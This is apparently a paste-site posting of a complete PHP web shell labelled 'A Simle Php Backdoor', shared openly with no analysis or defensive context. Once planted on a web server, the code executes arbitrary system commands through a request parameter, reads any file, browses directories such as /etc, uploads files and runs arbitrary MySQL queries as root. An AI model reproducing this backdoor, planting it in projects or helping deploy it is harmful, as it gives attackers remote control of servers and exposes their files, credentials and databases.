BackDoor - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 5, 2014, 4:29 a.m.

FORMAT: Text only

SIZE: 3.1 kB

HITS: 653

  1. <?
  2. // A Simle Php Backdoor | coded by z0mbie [30.08.03] | \\
  3. ob_implicit_flush();
  4. if(isset($_REQUEST['f'])){
  5. $filename=$_REQUEST['f'];
  6. $file=fopen("$filename","rb");
  7. fpassthru($file);
  8. die;
  9. }
  10. if(isset($_REQUEST['d'])){
  11. $d=$_REQUEST['d'];
  12. echo "<pre>";
  13. if ($handle = opendir("$d")) {
  14. echo "<h2>listing of $d</h2>";
  15. while ($dir = readdir($handle)){
  16. if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
  17. else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
  18. echo "$dir\n";
  19. echo "</font></a>";
  20. }
  21. } else echo "opendir() failed";
  22. closedir($handle);
  23. die ("<hr>");
  24. }
  25. if(isset($_REQUEST['c'])){
  26. echo "<pre>";
  27. system($_REQUEST['c']);
  28. die;
  29. }
  30. if(isset($_REQUEST['upload'])){
  31. if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
  32. else $dir=$_REQUEST['dir'];
  33. $fname=$HTTP_POST_FILES['file_name']['name'];
  34. if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
  35. die('file uploading error.');
  36. }
  37. if(isset($_REQUEST['mquery'])){
  38. $host=$_REQUEST['host'];
  39. $usr=$_REQUEST['usr'];
  40. $passwd=$_REQUEST['passwd'];
  41. $db=$_REQUEST['db'];
  42. $mquery=$_REQUEST['mquery'];
  43. mysql_connect("$host", "$usr", "$passwd") or
  44. die("Could not connect: " . mysql_error());
  45. mysql_select_db("$db");
  46. $result = mysql_query("$mquery");
  47. if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
  48. while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);
  49. mysql_free_result($result);
  50. die;
  51. }
  52. ?>
  53. <pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>
  54. <form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
  55. upload file:<input name="file_name" type="file"> to dir: <input type="text" name="dir">&nbsp;&nbsp;<input type="submit" name="upload" value="upload"></form>
  56. <hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
  57. <br>for example:
  58. http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
  59. or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
  60. <hr>execute mysql query:
  61. <form action="<? echo $PHP_SELF; ?>" METHOD=GET >
  62. host:<input type="text" name="host"value="localhost"> user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">
  63. database: <input type="text" name="db"> query: <input type="text" name="mquery"> <input type="submit" value="execute">
  64. </form>
  65. <!-- http://michaeldaw.org 2006 -->

comments powered by Disqus